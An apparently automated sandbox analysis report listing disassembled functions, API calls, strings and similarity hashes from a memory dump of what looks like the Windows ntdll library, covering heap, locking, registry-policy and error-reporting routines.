RtlCultureNameToLCID.1105(C000000D,00000000,C000000D,00000000,C000000D,00000000,00000200,?,C000000D,00000001,00000000,?,?,00000000,00000000,6B4871B4), ref: 6B52DF97
RtlInitUnicodeString.1105(C000000D,00000000,C000000D,00000000,00000200,?,C000000D,00000001,00000000,?,?,00000000,00000000,6B4871B4,6B4871B4,?), ref: 6B52DFFB
RtlLCIDToCultureName.1105(?,C000000D,C000000D,00000000,00000200,?), ref: 6B52E036
_wcsicmp.1105(00000001,00000000,?,C000000D,C000000D,00000000,00000200,?), ref: 6B52E076
RtlFreeHeap.1105(?,00000000,00000000,?,C000000D,C000000D,00000000,00000200,?), ref: 6B52E098
RtlFreeHeap.1105(?,00000000,00000000,?,C000000D,C000000D,00000000,00000200,?), ref: 6B52E0B1

Strings

MUI, xrefs: 6B52E072

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: CultureFreeHeapInitNameStringUnicode$_wcsicmp
String ID: MUI
API String ID: 3044635390-1339004836
Opcode ID: f6788a1a59de130229dde858da962be91bc58646c2a3c55cd945894b093d2725
Instruction ID: 2867e8d908578c4bc18bb6c021c0a6bf49db93806cf3f1fe009a2874804c21b6
Opcode Fuzzy Hash: f6788a1a59de130229dde858da962be91bc58646c2a3c55cd945894b093d2725
Instruction Fuzzy Hash: FC51F5359021569AEB19DF688480AFEB7B5FF40B44B4081DEE8549B2C1EB39DD83C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 6B4AFF9C, Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 100nativeCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.1105(?,\Registry\Machine\SOFTWARE\Policies\Microsoft\WindowsStore,?,?,?), ref: 6B4AFFD2
ZwOpenKey.1105(?,00020019,?), ref: 6B4B0005

Strings

AutoDownload, xrefs: 6B4EC155
\Registry\Machine\SOFTWARE\Policies\Microsoft\WindowsStore, xrefs: 6B4AFFC4
DisableStoreApps, xrefs: 6B4EC1AF
@, xrefs: 6B4AFFF8

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitOpenStringUnicode
String ID: @$AutoDownload$DisableStoreApps$\Registry\Machine\SOFTWARE\Policies\Microsoft\WindowsStore
API String ID: 3946626324-1446860424
Opcode ID: 14e069c5d88731c58c49dde63933d68715977fbbe3a1f10c71706fcd59590855
Instruction ID: 5d4dac1b25d37db8ac2ba32f88f84f1472f1cf040c19ae3ee7b3e71c77472edb
Opcode Fuzzy Hash: 14e069c5d88731c58c49dde63933d68715977fbbe3a1f10c71706fcd59590855
Instruction Fuzzy Hash: 413150B2D0021DEFDF11CF98D980DDEBBB8FB49755F10416AE605E6200E7389A45DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6B523D40, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 98memorytimeCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(6B568A6C,?,00000000,00000000,?,?,?,?,?,?,6B523CAA,00000000,00008000,?), ref: 6B523D7A
RtlReleaseSRWLockExclusive.1105(6B568A6C,6B568A6C,?,00000000,00000000,?,?,?,?,?,?,6B523CAA,00000000,00008000,?), ref: 6B523DA1
RtlDebugPrintTimes.1105(?,?,6B568A6C,6B568A6C,?,00000000,00000000,?,?,?,?,?,?,6B523CAA,00000000,00008000), ref: 6B523DB0
RtlAcquireSRWLockExclusive.1105(6B568A6C,?,?,?,?,?,?,6B523CAA,00000000,00008000,?), ref: 6B523DC6
RtlReleaseSRWLockExclusive.1105(6B568A6C,6B568A6C,?,00000000,00000000,?,?,?,?,?,?,6B523CAA,00000000,00008000,?), ref: 6B523E1A
RtlFreeHeap.1105(?,00000000,6B568A6C,6B568A6C,6B568A6C,6B568A6C,?,00000000,00000000,?,?,?,?,?,?,6B523CAA), ref: 6B523E4E

Strings

hWVk, xrefs: 6B523DFE
hWVk, xrefs: 6B523D85

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireRelease$DebugFreeHeapPrintTimes
String ID: hWVk$hWVk
API String ID: 1017367878-3922117318
Opcode ID: e83c0e153ad9b1c8d640a5b85b55e576c556437668754aec59b77bf8a6a58f73
Instruction ID: 4a42b768e1c2c52d89880df9b7a3630922b5274c6f46e6d5feb51d44a7feeccf
Opcode Fuzzy Hash: e83c0e153ad9b1c8d640a5b85b55e576c556437668754aec59b77bf8a6a58f73
Instruction Fuzzy Hash: 75319E7150A301CFD710CF28D48099ABBE1FF8A754F0449AEE8949B290E738DD49CBE2

Uniqueness

Uniqueness Score: -1.00%

Function 6B494120, Relevance: 13.9, APIs: 9, Instructions: 444memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,00000000,?,?,00000000,?,?), ref: 6B49429E
memmove.1105(?,?,?,?,00000000,?,?,00000000,?,?), ref: 6B49430D
memmove.1105(?,?,?,?,00000000,?,?,00000000,?,?), ref: 6B49438E

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: memmove$AllocateHeap
String ID:
API String ID: 1771830547-0
Opcode ID: e615ad952244348881473269eb3a9940ff949c22fafdda98e60fc02213850be3
Instruction ID: 77a6e632392999da8ac36b51906c86550e67b23931871de1f29bc319ab1e8cfc
Opcode Fuzzy Hash: e615ad952244348881473269eb3a9940ff949c22fafdda98e60fc02213850be3
Instruction Fuzzy Hash: DAF17C706582118BC724DF69D490E2ABBF1FF89B94F04496EF4A5CB350E738D982CB52

Uniqueness

Uniqueness Score: -1.00%

Function 6B4A4BAD, Relevance: 13.6, APIs: 9, Instructions: 131memorynativeCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(6B568504,6B565338,00000000,6B565320), ref: 6B4A4BF9
memset.1105(?,00000000,00000078,6B568504,6B565338,00000000,6B565320), ref: 6B4A4C17
ZwTraceControl.1105(0000001E,00000000,00000018,?,00000078,?,6B565338,00000000,6B565320), ref: 6B4A4C5E
RtlReleaseSRWLockExclusive.1105(6B568504,C0000017,?,00000008,?,0000001E,00000000,00000018,?,00000078,?,6B565338,00000000,6B565320), ref: 6B4A4C9C
RtlSetLastWin32Error.1105(00000000,6B568504,C0000017,?,00000008,?,0000001E,00000000,00000018,?,00000078,?,6B565338,00000000,6B565320), ref: 6B4A4CCD
RtlFreeHeap.1105(?,00000000,?,0000001E,00000000,00000018,?,00000078,?,6B565338,00000000,6B565320), ref: 6B4E6784
RtlAllocateHeap.1105(?,00000008,?,0000001E,00000000,00000018,?,00000078,?,6B565338,00000000,6B565320), ref: 6B4E679A

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveHeapLock$AcquireAllocateControlErrorFreeLastReleaseTraceWin32memset
String ID:
API String ID: 375855687-0
Opcode ID: 744afb2b3b0bc55ca186580583b0221fd82960f2bd2e9e5da8db35222eb489ba
Instruction ID: f7e27cd58e19d274daf7a2b5fb705fc8bb6d0f48e26a3a09e68c2774cbacd32f
Opcode Fuzzy Hash: 744afb2b3b0bc55ca186580583b0221fd82960f2bd2e9e5da8db35222eb489ba
Instruction Fuzzy Hash: D8418D35A402289ACB20DF68C941FDE77B4EF55750F0104A9EA48AB345DB78DE85CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6B4A4D3B, Relevance: 13.6, APIs: 9, Instructions: 131nativeCOMMON

Download Yara Rule

APIs

memset.1105(?,00000000,000000A0,00000000,00000000,00000024), ref: 6B4A4D77
RtlRunOnceExecuteOnce.1105(6B5686B0,6B4A5690,00000000,00000000,00000000,00000000,00000024), ref: 6B4A4D9E
ZwTraceControl.1105(0000000F,?,000000A0,?,000000A0,?,00000000,00000000,00000024), ref: 6B4A4DE9
memcmp.1105(00000000,6B455138,00000010,0000000F,?,000000A0,?,000000A0,?,00000000,00000000,00000024), ref: 6B4A4E26
RtlNtStatusToDosError.1105(00000000,6B5686B0,6B4A5690,00000000,00000000,00000000,00000000,00000024), ref: 6B4E6C6B

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Once$ControlErrorExecuteStatusTracememcmpmemset
String ID:
API String ID: 1949686928-0
Opcode ID: 6cbcc5c85c868794249ff0721ba9fcfcd0fb1cd08a31d2226d8a45a79f2eb28f
Instruction ID: 399a8d6b2adad031d83d0d8aec6c0b78125d2f998bb7d0695303ebdbc2e8500c
Opcode Fuzzy Hash: 6cbcc5c85c868794249ff0721ba9fcfcd0fb1cd08a31d2226d8a45a79f2eb28f
Instruction Fuzzy Hash: B241A471A40318AFEB21CF28CC81F9BB7A5EB55754F0040E9E94997384DB78EE45CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6B49C182, Relevance: 13.6, APIs: 9, Instructions: 104COMMON

Download Yara Rule

APIs

RtlGetCurrentServiceSessionId.1105(?,?,?,00000000,?,00000000,?,?,?,?,?,6B53C9F8,000000FE), ref: 6B49C1D7
RtlAcquireSRWLockExclusive.1105(?,?,?,?,00000000,?,00000000,?,?,?,?,?,6B53C9F8,000000FE), ref: 6B49C1F3
RtlReleaseSRWLockExclusive.1105(?,?,?,?,?,00000000,?,00000000,?,?,?,?,?,6B53C9F8,000000FE), ref: 6B49C23A
RtlReleaseSRWLockExclusive.1105(?,?,?,?,00000000,?,00000000,?,?,?,?,?,6B53C9F8,000000FE), ref: 6B49C26C
RtlReleaseSRWLockExclusive.1105(?,?,?,?,?,?,00000000,?,00000000,?,?,?,?,?,6B53C9F8,000000FE), ref: 6B49C27D

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$AcquireCurrentServiceSession
String ID:
API String ID: 4254861812-0
Opcode ID: bdeba0c7626f7b2223eabf048399ca84a7f51063fc420e87d18673506539e28e
Instruction ID: f53b759ca00c9bf08e17b5a8281bdae8edce0a45403976bae0417ffa4579ac5c
Opcode Fuzzy Hash: bdeba0c7626f7b2223eabf048399ca84a7f51063fc420e87d18673506539e28e
Instruction Fuzzy Hash: 0F313771A42586BED704EBB8D481FE9FB64BF42208F04415EC51C57302DB3DAA4ACBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6B4ADE9E, Relevance: 13.6, APIs: 9, Instructions: 79memorynativeCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(?,00000000,?,00000000,?,?,6B473A82,?,?,?,?,?,00000001,00000000,?,?), ref: 6B4ADEB5
RtlAcquireSRWLockExclusive.1105(?,?,00000000,?,00000000,?,?,6B473A82,?,?,?,?,?,00000001,00000000,?), ref: 6B4ADEBE

Part of subcall function 6B492280: RtlDllShutdownInProgress.1105(00000000), ref: 6B4922BA
Part of subcall function 6B492280: ZwWaitForAlertByThreadId.1105(?,00000000,?,?,?,?,?,?,?,00000000), ref: 6B4923A3

RtlGetCurrentServiceSessionId.1105(?,?,00000000,?,00000000,?,?,6B473A82,?,?,?,?,?,00000001,00000000,?), ref: 6B4ADECE
ZwUnsubscribeWnfStateChange.1105(?,?,?,00000000,?,00000000,?,?,6B473A82,?,?,?,?,?,00000001,00000000), ref: 6B4ADEEE
RtlReleaseSRWLockExclusive.1105(?,?,?,?,00000000,?,00000000,?,?,6B473A82,?,?,?,?,?,00000001), ref: 6B4ADF0A
RtlFreeHeap.1105(?,00000000,?,?,?,?,?,00000000,?,00000000,?,?,6B473A82,?), ref: 6B4ADF25
RtlReleaseSRWLockExclusive.1105(?,?,?,?,00000000,?,00000000,?,?,6B473A82,?,?,?,?,?,00000001), ref: 6B4ADF33
RtlReleaseSRWLockExclusive.1105(?,?,?,00000000,?,00000000,?,?,6B473A82,?,?,?,?,?,00000001,00000000), ref: 6B4ADF40
RtlFreeHeap.1105(?,00000000,00000000,?,?,?,?,00000000,?,00000000,?,?,6B473A82,?), ref: 6B4EB46E

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$AcquireFreeHeap$AlertChangeCurrentProgressServiceSessionShutdownStateThreadUnsubscribeWait
String ID:
API String ID: 3923771875-0
Opcode ID: 3fce98cca42631fc6e202c93e6a4f1f32611c2f399d583f79e8255ef7c8169aa
Instruction ID: 87ecb2f1f8e9645523c11e12980af70a4de353e1b2f7f537fdab23ce97b6c366
Opcode Fuzzy Hash: 3fce98cca42631fc6e202c93e6a4f1f32611c2f399d583f79e8255ef7c8169aa
Instruction Fuzzy Hash: 5C21D071185740ABC3119B38C841F52BBB8EF4275CF0045AAF5049B764DB3CE802CAA0

Uniqueness

Uniqueness Score: -1.00%

Function 6B4F7365, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 177nativeCOMMON

Download Yara Rule

APIs

RtlRunOnceExecuteOnce.1105(6B5686E4,6B4B9490,00000000,00000000,00000000,00000000), ref: 6B4F739F
ZwQuerySystemInformation.1105(00000067,?,00000008,00000000,6B5686E4,6B4B9490,00000000,00000000,00000000,00000000), ref: 6B4F73D7

Part of subcall function 6B4B9860: LdrInitializeThunk.NTDLL(6B5015BB,00000073,?,00000008,00000000,?,00000568), ref: 6B4B986A

RtlCaptureContext.1105(?,6B5686E4,6B4B9490,00000000,00000000,00000000,00000000), ref: 6B4F75C9
memset.1105(?,00000000,00000050,?,6B5686E4,6B4B9490,00000000,00000000,00000000,00000000), ref: 6B4F75D8
RtlReportException.1105(C0000409,?,0000001E,00000000,00000000), ref: 6B4F761A

Strings

SVk, xrefs: 6B4F73F0
SVk, xrefs: 6B4F75A8

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Once$CaptureContextExceptionExecuteInformationInitializeQueryReportSystemThunkmemset
String ID: SVk$SVk
API String ID: 3658138377-856051460
Opcode ID: 82a0ae51db770d6f249cd6c47ce64c11bdd6d775a7059da19daf469bd7f98234
Instruction ID: 68cc67439fa724d926afd4e484ff930e70073cb389fe45ba39c9a4c18a81050e
Opcode Fuzzy Hash: 82a0ae51db770d6f249cd6c47ce64c11bdd6d775a7059da19daf469bd7f98234
Instruction Fuzzy Hash: F7818EB1D052289EDB20CF6AD980BDDFBF8BB48304F5041AEE60DA7241E7745A85CF65

Uniqueness

Uniqueness Score: -1.00%

Function 6B5223E3, Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 166COMMON

Download Yara Rule

APIs

RtlCompareMemory.1105(-00000010,6B456C58,00000008,?,-00000018,?,?,?,6B534BD7), ref: 6B522524
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,-00000010,6B456C58,00000008,?,-00000018,?,?,?,6B534BD7), ref: 6B522554
DbgPrint.1105(HEAP: ,-00000010,6B456C58,00000008,?,-00000018,?,?,?,6B534BD7), ref: 6B522561
DbgPrint.1105(Heap block at %p modified at %p past requested size of %Ix,-00000018,?,?,-00000010,6B456C58,00000008,?,-00000018,?,?,?,6B534BD7), ref: 6B522574

Strings

HEAP: , xrefs: 6B52255C
Heap block at %p modified at %p past requested size of %Ix, xrefs: 6B52256F
HEAP[%wZ]: , xrefs: 6B52254F

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$CompareMemory
String ID: HEAP: $HEAP[%wZ]: $Heap block at %p modified at %p past requested size of %Ix
API String ID: 216965414-3815128232
Opcode ID: 57a02f189838c4112ce3f99ab0276e258bf6cfb45469511bd01c9b43d3b6d64f
Instruction ID: 8881b8929b70a304d1bdfa8e3ec23120bf2e76fda95e5e37758bf58696703631
Opcode Fuzzy Hash: 57a02f189838c4112ce3f99ab0276e258bf6cfb45469511bd01c9b43d3b6d64f
Instruction Fuzzy Hash: 995106381212508AFB60EE2AC850BF277E1DB45744F518CD9E8D18B2C1E23FD846DAA1

Uniqueness

Uniqueness Score: -1.00%

Function 6B501570, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 137nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 6B5016FA: ZwQueryWnfStateNameInformation.1105(6B45FB74,00000001,00000000,00000568,00000004,?,?,00000000,?,?,?,?,6B5015A3,?,00000568), ref: 6B501718
Part of subcall function 6B5016FA: ZwUpdateWnfStateData.1105(6B45FB74,00000000,00000000,00000000,00000000,00000000,00000000,6B45FB74,00000001,00000000,00000568,00000004,?,?,00000000), ref: 6B50172D
Part of subcall function 6B5016FA: EtwEventWriteNoRegistration.1105(6B45FB7C,?,00000000,00000000,6B45FB74,00000001,00000000,00000568,00000004,?,?,00000000,?,?,?,?), ref: 6B50174B

ZwQuerySystemInformation.1105(00000073,?,00000008,00000000,?,00000568), ref: 6B5015B6

Part of subcall function 6B4B9860: LdrInitializeThunk.NTDLL(6B5015BB,00000073,?,00000008,00000000,?,00000568), ref: 6B4B986A

Part of subcall function 6B50176C: ZwOpenEvent.1105(00000568,00100001,?,?,00000000), ref: 6B5017B5
Part of subcall function 6B50176C: ZwWaitForSingleObject.1105(00000568,00000000,?,00000568,00100001,?,?,00000000), ref: 6B5017E1
Part of subcall function 6B50176C: ZwClose.1105(00000568,00000568,00000000,?,00000568,00100001,?,?,00000000), ref: 6B5017EB

RtlInitUnicodeString.1105(?,\WindowsErrorReportingServicePort,00000073,?,00000008,00000000,?,00000568), ref: 6B5015EC
memset.1105(?,00000000,0000002C,?,\WindowsErrorReportingServicePort,00000073,?,00000008,00000000,?,00000568), ref: 6B5015F8
ZwAlpcConnectPort.1105(?,?,00000018,?,00020000,?,00000000,00000000,00000000,00000000,?), ref: 6B501673
ZwAlpcSendWaitReceivePort.1105(?,00020000,?,00000000,?,00000568,00000000,?,?,?,00000018,?,00020000,?,00000000,00000000), ref: 6B5016B0
ZwClose.1105(00000000,?,00000568), ref: 6B5016E3

Strings

\WindowsErrorReportingServicePort, xrefs: 6B5015E3

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: AlpcCloseEventInformationPortQueryStateWait$ConnectDataInitInitializeNameObjectOpenReceiveRegistrationSendSingleStringSystemThunkUnicodeUpdateWritememset
String ID: \WindowsErrorReportingServicePort
API String ID: 360723211-589754893
Opcode ID: 9bf11e1c97afe5b932b34600a625e9ab492b3149e9e5d9b3defb255ddae6cc65
Instruction ID: 8f0915f71dbc1b86652881ec673cd1c218b74a738681a8971ca2476b61550a63
Opcode Fuzzy Hash: 9bf11e1c97afe5b932b34600a625e9ab492b3149e9e5d9b3defb255ddae6cc65
Instruction Fuzzy Hash: D4411F71D0162DABEB11CFE5DC81EEEBBB9AF04718F14012AF905AB250DB349D458BA1

Uniqueness

Uniqueness Score: -1.00%

Function 6B48DD80, Relevance: 12.3, APIs: 8, Instructions: 337nativeCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockShared.1105(6B568654,6B4C17F0,00000000), ref: 6B48DDCE
ZwQueryVirtualMemory.1105(000000FF,000000FE,00000006,?,0000000C,00000000,6B4C17F0,00000000), ref: 6B48DE98
RtlImageNtHeaderEx.1105(00000001,?,00000000,00000000,?,000000FF,000000FE,00000006,?,0000000C,00000000,6B4C17F0,00000000), ref: 6B48DEE8
RtlImageNtHeaderEx.1105(00000001,?,00000000,00000000,?,00000001,?,00000000,00000000,?,000000FF,000000FE,00000006,?,0000000C,00000000), ref: 6B48DF0D
RtlImageNtHeaderEx.1105(00000001,?,00000000,00000000,00000000,00000001,?,00000000,00000000,?,00000001,?,00000000,00000000,?,000000FF), ref: 6B48DF46

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: HeaderImage$AcquireLockMemoryQuerySharedVirtual
String ID:
API String ID: 114269737-0
Opcode ID: 44228c30997fb94838d1588235e2f754bead0b2afc96977d7066552423271e25
Instruction ID: 8affcc535b8579c2195b4f19dbc95a3f5811312988f50e67fc968dee39f1105e
Opcode Fuzzy Hash: 44228c30997fb94838d1588235e2f754bead0b2afc96977d7066552423271e25
Instruction Fuzzy Hash: 3BC1D070A416069FEB18CF58C890FAEB7F2EF85314F1485ADD564AB380D778E942CB81

Uniqueness

Uniqueness Score: -1.00%

Function 6B533518, Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 55COMMON

Download Yara Rule

APIs

DbgPrint.1105(HEAP[%wZ]: ,-0000002C,00000000,?,?,6B4CFC67), ref: 6B53354D
DbgPrint.1105(HEAP: ,00000000,?,?,6B4CFC67), ref: 6B53355A
DbgPrint.1105(May not destroy the process heap at %p,?,00000000,?,?,6B4CFC67), ref: 6B533566

Strings

May not destroy the process heap at %p, xrefs: 6B533561
HEAP: , xrefs: 6B533555
RtlDestroyHeap, xrefs: 6B533571
HEAP[%wZ]: , xrefs: 6B533548

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: HEAP: $HEAP[%wZ]: $May not destroy the process heap at %p$RtlDestroyHeap
API String ID: 3558298466-4256168463
Opcode ID: db05ee7a8b280e8a1edcfeb45d4dcadfac707872c91f74c979b6a83067ebd42b
Instruction ID: c8ac7d14c21c0012e4f9c51300ad0edb5ce156b43e514d36adae19ef1fec8762
Opcode Fuzzy Hash: db05ee7a8b280e8a1edcfeb45d4dcadfac707872c91f74c979b6a83067ebd42b
Instruction Fuzzy Hash: C101F9361206209FE731EF788445FE673E9EF42658F0084A9E446AB341FB3DED40CAA1

Uniqueness

Uniqueness Score: -1.00%

Function 6B50FF10, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 44timeCOMMON

Download Yara Rule

APIs

DbgPrintEx.1105(00000065,00000000,NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p,?,000000FF,?,6B5509B0,00000014,6B48EBD8,?,?,?,00000000,?,6B471E03,?), ref: 6B50FF69
RtlDecodePointer.1105(6B5509B0,00000014,6B48EBD8,?,?,?,00000000,?,6B471E03,?,6B471D6E,?), ref: 6B50FF78
RtlRaiseStatus.1105(C0000264,6B5509B0,00000014,6B48EBD8,?,?,?,00000000,?,6B471E03,?,6B471D6E,?), ref: 6B50FF89
RtlDebugPrintTimes.1105(?,C0000264,6B5509B0,00000014,6B48EBD8,?,?,?,00000000,?,6B471E03,?,6B471D6E,?), ref: 6B50FF9A
RtlpNotOwnerCriticalSection.1105 ref: 6B50FFB1

Strings

PSVk?, xrefs: 6B50FF56, 6B50FF5C
NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p, xrefs: 6B50FF60

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$CriticalDebugDecodeOwnerPointerRaiseRtlpSectionStatusTimes
String ID: NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p$PSVk?
API String ID: 2675442896-1800478988
Opcode ID: 71aff6af9a11392f2f092abc166ba4ab95b2663ba0d15dfad6d620dac01769f2
Instruction ID: 483d88eb0142668fed8b69dc8399d8a5bd5d7a2760f05e01ec06a3a047a88e00
Opcode Fuzzy Hash: 71aff6af9a11392f2f092abc166ba4ab95b2663ba0d15dfad6d620dac01769f2
Instruction Fuzzy Hash: C311C475950684EFEB01DF60C945FD9B7B1FF05749F118094E50457161CB3D9940DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6B47C600, Relevance: 12.2, APIs: 8, Instructions: 225memorynativeCOMMON

Download Yara Rule

APIs

RtlInitUnicodeStringEx.1105(?,?,?,?,?), ref: 6B47C639
ZwQueryValueKey.1105(?,?,00000002,?,00000400,?,?,?,?,?,?), ref: 6B47C665
RtlFreeHeap.1105(?,00000000,00000002,?,?,00000002,00000000,?,?,?,?), ref: 6B4E7A15
RtlAllocateHeap.1105(?,?,?,?,?,?,?,?), ref: 6B4E7A43
ZwQueryValueKey.1105(?,?,00000002,00000000,?,?,?,?), ref: 6B4E7A65
RtlFreeHeap.1105(?,00000000,00000000,?,?,00000002,00000000,?,?,?,?), ref: 6B4E7A8A
RtlUnicodeStringToInteger.1105(?,00000000,00000000,?,?,00000002,00000000,?,?,?,?), ref: 6B4E7B52
memcpy.1105(00000000,0000000C,?,?,?,00000002,00000000,?,?,?,?), ref: 6B4E7BB1

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

